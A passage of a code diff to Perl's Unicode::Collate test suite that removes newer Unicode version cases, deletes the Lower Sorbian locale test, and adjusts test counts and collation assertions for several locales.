1 + 51 x @Versions my $count = 0; sub ok ($;$) { my $p = my $r = shift; @@ -47,16 +47,14 @@ my $coll = Unicode::Collate->new( # 9FC4..9FCB are CJK UI since UCA_Version 20 (Unicode 5.2). # 9FCC is CJK UI since UCA_Version 24 (Unicode 6.1). # 9FCD..9FD5 are CJK UI since UCA_Version 32 (Unicode 8.0). -# 9FD6..9FEA are CJK UI since UCA_Version 36 (Unicode 10.0). # 3400..4DB5 are CJK UI Ext.A since UCA_Version 8 (Unicode 3.0). # 20000..2A6D6 are CJK UI Ext.B since UCA_Version 8 (Unicode 3.1). # 2A700..2B734 are CJK UI Ext.C since UCA_Version 20 (Unicode 5.2). # 2B740..2B81D are CJK UI Ext.D since UCA_Version 22 (Unicode 6.0). # 2B820..2CEA1 are CJK UI Ext.E since UCA_Version 32 (Unicode 8.0). -# 2CEB0..2EBE0 are CJK UI Ext.F since UCA_Version 36 (Unicode 10.0). -my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36); +my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32); for my $v (@Versions) { $coll->change(UCA_Version => $v); @@ -73,9 +71,7 @@ for my $v (@Versions) { ok($coll->cmp("\x{3400}", "\x{9FCC}") == ($v >= 24 ? 1 : -1)); # new ok($coll->cmp("\x{3400}", "\x{9FCD}") == ($v >= 32 ? 1 : -1)); # new ok($coll->cmp("\x{3400}", "\x{9FD5}") == ($v >= 32 ? 1 : -1)); # new - ok($coll->cmp("\x{3400}", "\x{9FD6}") == ($v >= 36 ? 1 : -1)); # new - ok($coll->cmp("\x{3400}", "\x{9FEA}") == ($v >= 36 ? 1 : -1)); # new - ok($coll->cmp("\x{3400}", "\x{9FEB}") == -1); # na + ok($coll->cmp("\x{3400}", "\x{9FD6}") == -1); # na ok($coll->cmp("\x{3400}", "\x{9FFF}") == -1); # na # UI < UI @@ -89,10 +85,8 @@ for my $v (@Versions) { ok($coll->cmp("\x{9FCB}", "\x{9FCC}") == -1); # new < new ok($coll->cmp("\x{9FCC}", "\x{9FCD}") == -1); # new < new ok($coll->cmp("\x{9FCD}", "\x{9FD5}") == -1); # new < new - ok($coll->cmp("\x{9FD5}", "\x{9FD6}") == -1); # new < new - ok($coll->cmp("\x{9FD6}", "\x{9FEA}") == -1); # new < new - ok($coll->cmp("\x{9FEA}", "\x{9FEB}") == -1); # new < na - ok($coll->cmp("\x{9FEB}", "\x{9FFF}") == -1); # na < na + ok($coll->cmp("\x{9FD5}", "\x{9FD6}") == -1); # new < na + ok($coll->cmp("\x{9FD6}", "\x{9FFF}") == -1); # na < na # Ext.A < Ext.B ok($coll->cmp("\x{3400}", "\x{20000}") == -1); @@ -131,12 +125,5 @@ for my $v (@Versions) { ok($coll->cmp("\x{2FFF}", "\x{2CEA1}") == ($v >= 32 ? 1 : -1)); # na > E ok($coll->cmp("\x{2FFF}", "\x{2CEA2}") == -1); # na < na ok($coll->cmp("\x{2FFF}", "\x{2CEAF}") == -1); # na < na - - # Ext.F - ok($coll->cmp("\x{2CEB0}","\x{2EBE0}") == -1); # F < F - ok($coll->cmp("\x{2FFF}", "\x{2CEB0}") == ($v >= 36 ? 1 : -1)); # na > F - ok($coll->cmp("\x{2FFF}", "\x{2EBE0}") == ($v >= 36 ? 1 : -1)); # na > F - ok($coll->cmp("\x{2FFF}", "\x{2EBE1}") == -1); # na < na - ok($coll->cmp("\x{2FFF}", "\x{2EBEF}") == -1); # na < na } diff --git a/cpan/Unicode-Collate/t/compatui.t b/cpan/Unicode-Collate/t/compatui.t index 96dffd4091ea..cf4bcab49c79 100644 --- a/cpan/Unicode-Collate/t/compatui.t +++ b/cpan/Unicode-Collate/t/compatui.t @@ -16,7 +16,7 @@ BEGIN { use strict; use warnings; -BEGIN { $| = 1; print "1..1051\n"; } # 1 + 70 x @Versions +BEGIN { $| = 1; print "1..911\n"; } # 1 + 70 x @Versions my $count = 0; sub ok ($;$) { my $p = my $r = shift; @@ -33,7 +33,7 @@ ok(1); ######################### -my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36); +my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32); # 12 compatibility ideographs are treated as unified ideographs: # FA0E, FA0F, FA11, FA13, FA14, FA1F, FA21, FA23, FA24, FA27, FA28, FA29. diff --git a/cpan/Unicode-Collate/t/hangtype.t b/cpan/Unicode-Collate/t/hangtype.t index 42d0c61a5007..b0a033df4c94 100644 --- a/cpan/Unicode-Collate/t/hangtype.t +++ b/cpan/Unicode-Collate/t/hangtype.t @@ -16,7 +16,7 @@ BEGIN { use strict; use warnings; -BEGIN { $| = 1; print "1..751\n"; } # 1 + 50 x @Versions +BEGIN { $| = 1; print "1..651\n"; } # 1 + 50 x @Versions my $count = 0; sub ok ($;$) { my $p = my $r = shift; @@ -33,7 +33,7 @@ ok(1); ######################### -my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36); +my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32); for my $v (@Versions) { ok(Unicode::Collate::getHST(0x0000, $v), ''); diff --git a/cpan/Unicode-Collate/t/illegal.t b/cpan/Unicode-Collate/t/illegal.t index c9ac78701684..ea662bb5aca5 100644 --- a/cpan/Unicode-Collate/t/illegal.t +++ b/cpan/Unicode-Collate/t/illegal.t @@ -30,7 +30,7 @@ BEGIN { use strict; use warnings; -BEGIN { $| = 1; print "1..156\n"; } # 81 + 5 x @Versions +BEGIN { $| = 1; print "1..146\n"; } # 81 + 5 x @Versions my $count = 0; sub ok ($;$) { my $p = my $r = shift; @@ -192,7 +192,7 @@ my $out = Unicode::Collate->new( overrideOut => sub { 0xFFFD }, ); -my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36); +my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32); for my $v (@Versions) { $out->change(UCA_Version => $v); diff --git a/cpan/Unicode-Collate/t/loc_af.t b/cpan/Unicode-Collate/t/loc_af.t index 76d13c83f892..51176c90e41a 100644 --- a/cpan/Unicode-Collate/t/loc_af.t +++ b/cpan/Unicode-Collate/t/loc_af.t @@ -43,18 +43,12 @@ $objAf->change(level => 1); ok($objAf->eq("n", "N")); ok($objAf->eq("N", "\x{149}")); -# 4 - $objAf->change(level => 2); ok($objAf->eq("n", "N")); ok($objAf->eq("N", "\x{149}")); -# 6 - $objAf->change(level => 3); ok($objAf->lt("n", "N")); ok($objAf->lt("N", "\x{149}")); - -# 8 diff --git a/cpan/Unicode-Collate/t/loc_az.t b/cpan/Unicode-Collate/t/loc_az.t index 97ecf92cd215..c70c3625bd0c 100644 --- a/cpan/Unicode-Collate/t/loc_az.t +++ b/cpan/Unicode-Collate/t/loc_az.t @@ -16,7 +16,7 @@ BEGIN { use strict; use warnings; -BEGIN { $| = 1; print "1..86\n"; } +BEGIN { $| = 1; print "1..75\n"; } my $count = 0; sub ok ($;$) { my $p = my $r = shift; @@ -41,44 +41,33 @@ ok($objAz->getlocale, 'az'); $objAz->change(level => 1); ok($objAz->lt("c", "c\x{327}")); -ok($objAz->lt("cz","c\x{327}")); ok($objAz->gt("d", "c\x{327}")); ok($objAz->lt("g", "g\x{306}")); -ok($objAz->lt("gz","g\x{306}")); ok($objAz->gt("h", "g\x{306}")); ok($objAz->lt("h", "I")); -ok($objAz->lt("hz","I")); ok($objAz->lt("I", "i")); -ok($objAz->lt("Iz","i")); ok($objAz->gt("j", "i")); ok($objAz->lt("o", "o\x{308}")); -ok($objAz->lt("oz","o\x{308}")); ok($objAz->gt("p", "o\x{308}")); ok($objAz->lt("s", "s\x{327}")); -ok($objAz->lt("sz","s\x{327}")); ok($objAz->gt("t", "s\x{327}")); ok($objAz->lt("u", "u\x{308}")); -ok($objAz->lt("uz","u\x{308}")); ok($objAz->gt("v", "u\x{308}")); -# 22 +# 15 ok($objAz->lt("k", "q")); ok($objAz->lt("kz","q")); ok($objAz->gt("l", "q")); ok($objAz->lt("e", "\x{259}")); -ok($objAz->lt("ez","\x{259}")); ok($objAz->gt("f", "\x{259}")); ok($objAz->lt("h", "x")); ok($objAz->lt("hz","x")); -ok($objAz->lt("x", "I")); -ok($objAz->lt("xz","I")); -ok($objAz->lt("x", "i")); -ok($objAz->lt("xz","i")); +ok($objAz->gt("I","x")); +ok($objAz->gt("i","x")); ok($objAz->lt("z", "w")); -ok($objAz->lt("zz","w")); -# 36 +# 25 $objAz->change(level => 2); @@ -94,7 +83,7 @@ ok($objAz->eq("\x{259}", "\x{18F}")); ok($objAz->eq("x", "X")); ok($objAz->eq("z", "Z")); -# 47 +# 36 $objAz->change(level => 3); @@ -110,7 +99,7 @@ ok($objAz->lt("\x{259}", "\x{18F}")); ok($objAz->lt("x", "X")); ok($objAz->lt("z", "Z")); -# 58 +# 47 ok($objAz->eq("c\x{327}", pack('U', 0xE7))); ok($objAz->eq("C\x{327}", pack('U', 0xC7))); @@ -125,7 +114,7 @@ ok($objAz->eq("I\x{306}", "\x{12C}")); ok($objAz->eq("I\x{328}", "\x{12E}")); ok($objAz->eq("I\x{307}", "\x{130}")); -# 70 +# 59 ok($objAz->eq("o\x{308}", pack('U', 0xF6))); ok($objAz->eq("O\x{308}", pack('U', 0xD6))); @@ -144,4 +133,4 @@ ok($objAz->eq("U\x{308}\x{304}", "\x{1D5}")); ok($objAz->eq("u\x{308}\x{30C}", "\x{1DA}")); ok($objAz->eq("U\x{308}\x{30C}", "\x{1D9}")); -# 86 +# 75 diff --git a/cpan/Unicode-Collate/t/loc_cs.t b/cpan/Unicode-Collate/t/loc_cs.t index b5a7947cfda3..7e84b0af9a8c 100644 --- a/cpan/Unicode-Collate/t/loc_cs.t +++ b/cpan/Unicode-Collate/t/loc_cs.t @@ -16,7 +16,7 @@ BEGIN { use strict; use warnings; -BEGIN { $| = 1; print "1..42\n"; } +BEGIN { $| = 1; print "1..37\n"; } my $count = 0; sub ok ($;$) { my $p = my $r = shift; @@ -41,22 +41,17 @@ ok($objCs->getlocale, 'cs'); $objCs->change(level => 1); ok($objCs->lt("c", "c\x{30C}")); -ok($objCs->lt("cz","c\x{30C}")); ok($objCs->gt("d", "c\x{30C}")); ok($objCs->lt("h", "ch")); -ok($objCs->lt("hz","ch")); ok($objCs->gt("i", "ch")); ok($objCs->lt("r", "r\x{30C}")); -ok($objCs->lt("rz","r\x{30C}")); ok($objCs->gt("s", "r\x{30C}")); ok($objCs->lt("s", "s\x{30C}")); -ok($objCs->lt("sz","s\x{30C}")); ok($objCs->gt("t", "s\x{30C}")); ok($objCs->lt("z", "z\x{30C}")); -ok($objCs->lt("zz","z\x{30C}")); ok($objCs->lt("z\x{30C}", "\x{292}")); # U+0292 EZH -# 17 +# 12 $objCs->change(level => 2); @@ -64,12 +59,11 @@ ok($objCs->eq("c\x{30C}", "C\x{30C}")); ok($objCs->eq("r\x{30C}", "R\x{30C}")); ok($objCs->eq("s\x{30C}", "S\x{30C}")); ok($objCs->eq("z\x{30C}", "Z\x{30C}")); - ok($objCs->eq("ch", "cH")); ok($objCs->eq("cH", "Ch")); ok($objCs->eq("Ch", "CH")); -# 24 +# 19 $objCs->change(level => 3); @@ -77,12 +71,11 @@ ok($objCs->lt("c\x{30C}", "C\x{30C}")); ok($objCs->lt("r\x{30C}", "R\x{30C}")); ok($objCs->lt("s\x{30C}", "S\x{30C}")); ok($objCs->lt("z\x{30C}", "Z\x{30C}")); - ok($objCs->lt("ch", "cH")); ok($objCs->lt("cH", "Ch")); ok($objCs->lt("Ch", "CH")); -# 31 +# 26 ok($objCs->eq("c\x{30C}", "\x{10D}")); ok($objCs->eq("C\x{30C}", "\x{10C}")); @@ -93,7 +86,7 @@ ok($objCs->eq("S\x{30C}", "\x{160}")); ok($objCs->eq("z\x{30C}", "\x{17E}")); ok($objCs->eq("Z\x{30C}", "\x{17D}")); -# 39 +# 34 $objCs->change(upper_before_lower => 1); @@ -101,4 +94,4 @@ ok($objCs->gt("ch", "cH")); ok($objCs->gt("cH", "Ch")); ok($objCs->gt("Ch", "CH")); -# 42 +# 37 diff --git a/cpan/Unicode-Collate/t/loc_dsb.t b/cpan/Unicode-Collate/t/loc_dsb.t deleted file mode 100644 index 25cee289b795..000000000000 --- a/cpan/Unicode-Collate/t/loc_dsb.t +++ /dev/null @@ -1,137 +0,0 @@ - -BEGIN { - unless ('A' eq pack('U', 0x41)) { - print "1..0 # Unicode::Collate cannot pack a Unicode code point\n"; - exit 0; - } - unless (0x41 == unpack('U', 'A')) { - print "1..0 # Unicode::Collate cannot get a Unicode code point\n"; - exit 0; - } - if ($ENV{PERL_CORE}) { - chdir('t') if -d 't'; - @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib); - } -} - -use strict; -use warnings; -BEGIN { $| = 1; print "1..87\n"; } -my $count = 0; -sub ok ($;$) { - my $p = my $r = shift; - if (@_) { - my $x = shift; - $p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x; - } - print $p ? "ok" : "not ok", ' ', ++$count, "\n"; -} - -use Unicode::Collate::Locale; - -ok(1); - -######################### - -my $objDsb = Unicode::Collate::Locale-> - new(locale => 'DSB', normalization => undef); - -ok($objDsb->getlocale, 'dsb'); - -$objDsb->change(level => 1); - -my @prim = ( - "cz", "c\x{30C}", "c\x{301}", "d", # 5 - "ez", "e\x{30C}", "f", # 8 - "hz", "ch", "i", # 11 - "kz", "l\x{335}", "l", # 14 - "nz", "n\x{301}", "o", # 17 - "rz", "r\x{301}", "s", # 20 - "sz", "s\x{30C}", "s\x{301}", "t", # 24 - "zz", "z\x{30C}", "z\x{301}", "\x{292}" # EZH -); - -for (my $i = 1; $i < @prim; $i++) { - ok($objDsb->lt($prim[$i-1], $prim[$i])); -} - -# 28 - -$objDsb->change(level => 2); - -ok($objDsb->eq("c\x{30C}", "C\x{30C}")); -ok($objDsb->eq("c\x{301}", "C\x{301}")); -ok($objDsb->eq("e\x{30C}", "E\x{30C}")); -ok($objDsb->eq("l\x{335}", "L\x{335}")); -ok($objDsb->eq("n\x{301}", "N\x{301}")); -ok($objDsb->eq("r\x{301}", "R\x{301}")); -ok($objDsb->eq("s\x{30C}", "S\x{30C}")); -ok($objDsb->eq("s\x{301}", "S\x{301}")); -ok($objDsb->eq("z\x{30C}", "Z\x{30C}")); -ok($objDsb->eq("z\x{301}", "Z\x{301}")); - -ok($objDsb->eq("ch", "cH")); -ok($objDsb->eq("cH", "Ch")); -ok($objDsb->eq("Ch", "CH")); - -# 41 - -$objDsb->change(level => 3); - -ok($objDsb->lt("c\x{30C}", "C\x{30C}")); -ok($objDsb->lt("c\x{301}", "C\x{301}")); -ok($objDsb->lt("e\x{30C}", "E\x{30C}")); -ok($objDsb->lt("l\x{335}", "L\x{335}")); -ok($objDsb->lt("n\x{301}", "N\x{301}")); -ok($objDsb->lt("r\x{301}", "R\x{301}")); -ok($objDsb->lt("s\x{30C}", "S\x{30C}")); -ok($objDsb->lt("s\x{301}", "S\x{301}")); -ok($objDsb->lt("z\x{30C}", "Z\x{30C}")); -ok($objDsb->lt("z\x{301}", "Z\x{301}")); - -ok($objDsb->lt("ch", "cH")); -ok($objDsb->lt("cH", "Ch")); -ok($objDsb->lt("Ch", "CH")); - -# 54 - -ok($objDsb->eq("c\x{30C}", "\x{10D}")); -ok($objDsb->eq("C\x{30C}", "\x{10C}")); -ok($objDsb->eq("c\x{301}", "\x{107}")); -ok($objDsb->eq("c\x{341}", "\x{107}")); -ok($objDsb->eq("C\x{301}", "\x{106}")); -ok($objDsb->eq("C\x{341}", "\x{106}")); -ok($objDsb->eq("e\x{30C}", "\x{11B}")); -ok($objDsb->eq("E\x{30C}", "\x{11A}")); -ok($objDsb->eq("l\x{335}", "\x{142}")); -ok($objDsb->eq("L\x{335}", "\x{141}")); -ok($objDsb->eq("n\x{301}", "\x{144}")); -ok($objDsb->eq("n\x{341}", "\x{144}")); -ok($objDsb->eq("N\x{301}", "\x{143}")); -ok($objDsb->eq("N\x{341}", "\x{143}")); -ok($objDsb->eq("r\x{301}", "\x{155}")); -ok($objDsb->eq("r\x{341}", "\x{155}")); -ok($objDsb->eq("R\x{301}", "\x{154}")); -ok($objDsb->eq("R\x{341}", "\x{154}")); -ok($objDsb->eq("s\x{30C}", "\x{161}")); -ok($objDsb->eq("S\x{30C}", "\x{160}")); -ok($objDsb->eq("s\x{301}", "\x{15B}")); -ok($objDsb->eq("s\x{341}", "\x{15B}")); -ok($objDsb->eq("S\x{301}", "\x{15A}")); -ok($objDsb->eq("S\x{341}", "\x{15A}")); -ok($objDsb->eq("z\x{30C}", "\x{17E}")); -ok($objDsb->eq("Z\x{30C}", "\x{17D}")); -ok($objDsb->eq("z\x{301}", "\x{17A}")); -ok($objDsb->eq("z\x{341}", "\x{17A}")); -ok($objDsb->eq("Z\x{301}", "\x{179}")); -ok($objDsb->eq("Z\x{341}", "\x{179}")); - -# 84 - -$objDsb->change(upper_before_lower => 1); - -ok($objDsb->gt("ch", "cH")); -ok($objDsb->gt("cH", "Ch")); -ok($objDsb->gt("Ch", "CH")); - -# 87 diff --git a/cpan/Unicode-Collate/t/loc_ee.t b/cpan/Unicode-Collate/t/loc_ee.t index 15eb67af5dc1..475e194cea9c 100644 --- a/cpan/Unicode-Collate/t/loc_ee.t +++ b/cpan/Unicode-Collate/t/loc_ee.t @@ -16,7 +16,7 @@ BEGIN { use strict; use warnings; -BEGIN { $| = 1; print "1..124\n"; } +BEGIN { $| = 1; print "1..120\n"; } my $count = 0; sub ok ($;$) { my $p = my $r = shift; @@ -42,21 +42,39 @@ ok($objEe->getlocale, 'ee'); $objEe->change(level => 1); -my @prim = ( - "d", "d\x{292}", "dz", "\x{256}", # 5 - "e", "\x{25B}", "f", "\x{192}", # 9 - "g", "gz", "gb", "\x{263}", "h", # 14 - "hz", "x", "i", "kz", "kp", "l", # 20 - "nz", "ny", "\x{14B}", "o", # 24 - "\x{254}", "p", "tz", "ts", "u", # 29 - "v", "\x{28B}", "w", -); - -for (my $i = 1; $i < @prim; $i++) { - ok($objEe->lt($prim[$i-1], $prim[$i])); -} - -# 32 +ok($objEe->lt("d", "d\x{292}")); +ok($objEe->gt("dz","d\x{292}")); +ok($objEe->lt("dz","\x{256}")); +ok($objEe->gt("e", "\x{256}")); +ok($objEe->lt("e", "\x{25B}")); +ok($objEe->gt("f", "\x{25B}")); +ok($objEe->lt("f", "\x{192}")); +ok($objEe->gt("g", "\x{192}")); + +ok($objEe->lt("gz","gb")); +ok($objEe->lt("gb","\x{263}")); +ok($objEe->gt("h", "\x{263}")); +ok($objEe->lt("h", "hz")); +ok($objEe->lt("hz","x")); +ok($objEe->lt("x", "i")); + +# 16 + +ok($objEe->lt("kz","kp")); +ok($objEe->lt("kp","l")); +ok($objEe->lt("nz","ny")); +ok($objEe->lt("ny","\x{14B}")); +ok($objEe->gt("o", "\x{14B}")); +ok($objEe->lt("o", "\x{254}")); +ok($objEe->gt("p", "\x{254}")); + +ok($objEe->lt("tz","ts")); +ok($objEe->lt("ts","u")); +ok($objEe->lt("u", "v")); +ok($objEe->lt("v", "\x{28B}")); +ok($objEe->gt("w", "\x{28B}")); + +# 28 ok($objEe->eq("\x{302}", "\x{30C}")); ok($objEe->eq("a\x{302}", "a\x{30C}")); @@ -72,7 +90,7 @@ ok($objEe->eq("U\x{302}", "U\x{30C}")); ok($objEe->eq("y\x{302}", "y\x{30C}")); ok($objEe->eq("Y\x{302}", "Y\x{30C}")); -# 45 +# 41 $objEe->change(level => 2); @@ -90,7 +108,7 @@ ok($objEe->gt("U\x{302}", "U\x{30C}")); ok($objEe->gt("y\x{302}", "y\x{30C}")); ok($objEe->gt("Y\x{302}", "Y\x{30C}")); -# 58 +# 54 ok($objEe->eq("dz", "Dz")); ok($objEe->eq("Dz", "DZ")); @@ -111,7 +129,7 @@ ok($objEe->eq("ts", "Ts")); ok($objEe->eq("Ts", "TS")); ok($objEe->eq("\x{28B}", "\x{1B2}")); -# 76 +# 72 $objEe->change(level => 3); @@ -134,7 +152,7 @@ ok($objEe->lt("ts", "Ts")); ok($objEe->lt("Ts", "TS")); ok($objEe->lt("\x{28B}", "\x{1B2}")); -# 94 +# 90 ok($objEe->eq("a\x{302}", pack('U', 0xE2))); ok($objEe->eq("A\x{302}", pack('U', 0xC2))); @@ -149,7 +167,7 @@ ok($objEe->eq("U\x{302}", pack('U', 0xDB))); ok($objEe->eq("y\x{302}", "\x{177}")); ok($objEe->eq("Y\x{302}", "\x{176}")); -# 106 +# 102 $objEe->change(upper_before_lower => 1); @@ -172,4 +190,4 @@ ok($objEe->gt("ts", "Ts")); ok($objEe->gt("Ts", "TS")); ok($objEe->gt("\x{28B}", "\x{1B2}")); -# 124 +# 120 diff --git a/cpan/Unicode-Collate/t/loc_eo.t b/cpan/Unicode-Collate/t/loc_eo.t index da87515f5382..3ab88907ed40 100644 --- a/cpan/Unicode-Collate/t/loc_eo.t +++ b/cpan/Unicode-Collate/t/loc_eo.t @@ -16,7 +16,7 @@ BEGIN { use strict; use warnings; -BEGIN { $| = 1; print "1..44\n"; } +BEGIN { $| = 1; print "1..38\n"; } my $count = 0; sub ok ($;$) { my $p = my $r = shift; @@ -41,25 +41,19 @@ ok($objEo->getlocale, 'eo'); $objEo->change(level => 1); ok($objEo->lt("c", "c\x{302}")); -ok($objEo->lt("cz","c\x{302}")); ok($objEo->gt("d", "c\x{302}")); ok($objEo->lt("g", "g\x{302}")); -ok($objEo->lt("gz","g\x{302}")); ok($objEo->gt("h", "g\x{302}")); ok($objEo->lt("h", "h\x{302}")); -ok($objEo->lt("hz","h\x{302}")); ok($objEo->gt("i", "h\x{302}")); ok($objEo->lt("j", "j\x{302}")); -ok($objEo->lt("jz","j\x{302}")); ok($objEo->gt("k", "j\x{302}")); ok($objEo->lt("s", "s\x{302}")); -ok($objEo->lt("sz","s\x{302}")); ok($objEo->gt("t", "s\x{302}")); ok($objEo->lt("u", "u\x{306}")); -ok($objEo->lt("uz","u\x{306}")); ok($objEo->gt("v", "u\x{306}")); -# 20 +# 14 $objEo->change(level => 2); @@ -70,7 +64,7 @@ ok($objEo->eq("j\x{302}", "J\x{302}")); ok($objEo->eq("s\x{302}", "S\x{302}")); ok($objEo->eq("u\x{306}", "U\x{306}")); -# 26 +# 20 $objEo->change(level => 3); @@ -81,7 +75,7 @@ ok($objEo->lt("j\x{302}", "J\x{302}")); ok($objEo->lt("s\x{302}", "S\x{302}")); ok($objEo->lt("u\x{306}", "U\x{306}")); -# 32 +# 26 ok($objEo->eq("c\x{302}", "\x{109}")); ok($objEo->eq("C\x{302}", "\x{108}")); @@ -96,4 +90,4 @@ ok($objEo->eq("S\x{302}", "\x{15C}")); ok($objEo->eq("u\x{306}", "\x{16D}")); ok($objEo->eq("U\x{306}", "\x{16C}")); -# 44 +# 38 diff --git a/cpan/Unicode-Collate/t/loc_es.t b/cpan/Unicode-Collate/t/loc_es.t index 5892a8d91175..9f74a092455b 100644 --- a/cpan/Unicode-Collate/t/loc_es.t +++ b/cpan/Unicode-Collate/t/loc_es.t @@ -16,7 +16,7 @@ BEGIN { use strict; use warnings; -BEGIN { $| = 1; print "1..30\n"; } +BEGIN { $| = 1; print "1..29\n"; } my $count = 0; sub ok ($;$) { my $p = my $r = shift; @@ -37,21 +37,20 @@ my $objEs = Unicode::Collate::Locale-> new(locale => 'ES', normalization => undef); ok($objEs->getlocale, 'es'); -ok($objEs->locale_version, 1.25); +ok($objEs->locale_version, 1.19); $objEs->change(level => 1); -ok($objEs->lt("cg","ch")); -ok($objEs->gt("ci","ch")); +ok($objEs->lt("cg", "ch")); +ok($objEs->gt("ci", "ch")); ok($objEs->gt("d", "ch")); -ok($objEs->lt("lk","ll")); -ok($objEs->gt("lm","ll")); +ok($objEs->lt("lk", "ll")); +ok($objEs->gt("lm", "ll")); ok($objEs->gt("m", "ll")); ok($objEs->lt("n", "n\x{303}")); -ok($objEs->lt("nz","n\x{303}")); ok($objEs->gt("o", "n\x{303}")); -# 12 +# 11 ok($objEs->eq("a\x{300}a", "aa\x{300}")); @@ -61,7 +60,7 @@ ok($objEs->gt("a\x{300}a", "aa\x{300}")); ok($objEs->lt("Ca\x{300}ca\x{302}", "ca\x{302}ca\x{300}")); ok($objEs->lt("ca\x{300}ca\x{302}", "Ca\x{302}ca\x{300}")); -# 16 +# 15 ok($objEs->eq("ch", "Ch")); ok($objEs->eq("Ch", "CH")); @@ -69,7 +68,7 @@ ok($objEs->eq("ll", "Ll")); ok($objEs->eq("Ll", "LL")); ok($objEs->eq("n\x{303}", "N\x{303}")); -# 21 +# 20 $objEs->change(level => 3); @@ -81,11 +80,11 @@ ok($objEs->lt("n\x{303}", "N\x{303}")); ok($objEs->eq("n\x{303}", pack('U', 0xF1))); ok($objEs->eq("N\x{303}", pack('U', 0xD1))); -# 28 +# 27 $objEs->change(level => 2, ignore_level2 => 1); ok($objEs->lt("n", "n\x{303}")); ok($objEs->eq("a", "a\x{303}")); -# 30 +# 29 diff --git a/cpan/Unicode-Collate/t/loc_estr.t b/cpan/Unicode-Collate/t/loc_estr.t index 95e1da8a6061..493aa85fbfc2 100644 --- a/cpan/Unicode-Collate/t/loc_estr.t +++ b/cpan/Unicode-Collate/t/loc_estr.t @@ -16,7 +16,7 @@ BEGIN { use strict; use warnings; -BEGIN { $| = 1; print "1..28\n"; } +BEGIN { $| = 1; print "1..27\n"; } my $count = 0; sub ok ($;$) { my $p = my $r = shift; @@ -37,7 +37,7 @@ my $objEsTrad = Unicode::Collate::Locale-> new(locale => 'ES-trad', normalization => undef); ok($objEsTrad->getlocale, 'es__traditional'); -ok($objEsTrad->locale_version, 1.25); +ok($objEsTrad->locale_version, 1.19); $objEsTrad->change(level => 1); @@ -48,10 +48,9 @@ ok($objEsTrad->lt("l", "ll")); ok($objEsTrad->lt("lz","ll")); ok($objEsTrad->gt("m", "ll")); ok($objEsTrad->lt("n", "n\x{303}")); -ok($objEsTrad->lt("nz","n\x{303}")); ok($objEsTrad->gt("o", "n\x{303}")); -# 12 +# 11 ok($objEsTrad->eq("a\x{300}a", "aa\x{300}")); @@ -61,7 +60,7 @@ ok($objEsTrad->gt("a\x{300}a", "aa\x{300}")); ok($objEsTrad->lt("Ca\x{300}ca\x{302}", "ca\x{302}ca\x{300}")); ok($objEsTrad->lt("ca\x{300}ca\x{302}", "Ca\x{302}ca\x{300}")); -# 16 +# 15 ok($objEsTrad->eq("ch", "Ch")); ok($objEsTrad->eq("Ch", "CH")); @@ -69,7 +68,7 @@ ok($objEsTrad->eq("ll", "Ll")); ok($objEsTrad->eq("Ll", "LL")); ok($objEsTrad->eq("n\x{303}", "N\x{303}")); -# 21 +# 20 $objEsTrad->change(level => 3); @@ -81,4 +80,4 @@ ok($objEsTrad->lt("n\x{303}", "N\x{303}")); ok($objEsTrad->eq("n\x{303}", pack('U', 0xF1))); ok($objEsTrad->eq("N\x{303}", pack('U', 0xD1))); -# 28 +# 27 diff --git a/cpan/Unicode-Collate/t/loc_et.t b/cpan/Unicode-Collate/t/loc_et.t index 8713e6fe1c0f..2080f43050cd 100644 --- a/cpan/Unicode-Collate/t/loc_et.t +++ b/cpan/Unicode-Collate/t/loc_et.t @@ -94,14 +94,14 @@ ok($objEt->eq("U\x{308}", pack('U', 0xDC))); # 40 -ok($objEt->eq("o\x{303}\x{301}", "\x{1E4D}")); -ok($objEt->eq("O\x{303}\x{301}", "\x{1E4C}")); +ok($objEt->eq("o\x{303}\x{301}","\x{1E4D}")); +ok($objEt->eq("O\x{303}\x{301}","\x{1E4C}")); ok($objEt->eq("o\x{303}\x{304}", "\x{22D}")); ok($objEt->eq("O\x{303}\x{304}", "\x{22C}")); -ok($objEt->eq("o\x{303}\x{308}", "\x{1E4F}")); -ok($objEt->eq("O\x{303}\x{308}", "\x{1E4E}")); -ok($objEt->eq("o\x{303}\x{31B}", "\x{1EE1}")); -ok($objEt->eq("O\x{303}\x{31B}", "\x{1EE0}")); +ok($objEt->eq("o\x{303}\x{308}","\x{1E4F}")); +ok($objEt->eq("O\x{303}\x{308}","\x{1E4E}")); +ok($objEt->eq("o\x{303}\x{31B}","\x{1EE1}")); +ok($objEt->eq("O\x{303}\x{31B}","\x{1EE0}")); ok($objEt->eq("a\x{308}\x{304}", "\x{1DF}")); ok($objEt->eq("A\x{308}\x{304}", "\x{1DE}")); ok($objEt->eq("o\x{308}\x{304}", "\x{22B}")); diff --git a/cpan/Unicode-Collate/t/loc_fil.t b/cpan/Unicode-Collate/t/loc_fil.t index 741e26016b30..46d9baaa9f0f 100644 --- a/cpan/Unicode-Collate/t/loc_fil.t +++ b/cpan/Unicode-Collate/t/loc_fil.t @@ -16,7 +16,7 @@ BEGIN { use strict; use warnings; -BEGIN { $| = 1; print "1..19\n"; } +BEGIN { $| = 1; print "1..17\n"; } my $count = 0; sub ok ($;$) { my $p = my $r = shift; @@ -42,12 +42,10 @@ $objFil->change(level => 1); ok($objFil->lt("n", "n\x{303}")); ok($objFil->lt("nz","n\x{303}")); -ok($objFil->gt("ng","n\x{303}")); -ok($objFil->gt("ng","n\x{303}z")); +ok($objFil->lt("n\x{303}", "ng")); ok($objFil->gt("o", "ng")); -ok($objFil->gt("o", "ngz")); -# 8 +# 6 $objFil->change(level => 2); @@ -55,7 +53,7 @@ ok($objFil->eq("ng", "Ng")); ok($objFil->eq("Ng", "NG")); ok($objFil->eq("n\x{303}", "N\x{303}")); -# 11 +# 9 $objFil->change(level => 3); @@ -65,7 +63,7 @@ ok($objFil->lt("n\x{303}", "N\x{303}")); ok($objFil->eq("n\x{303}", 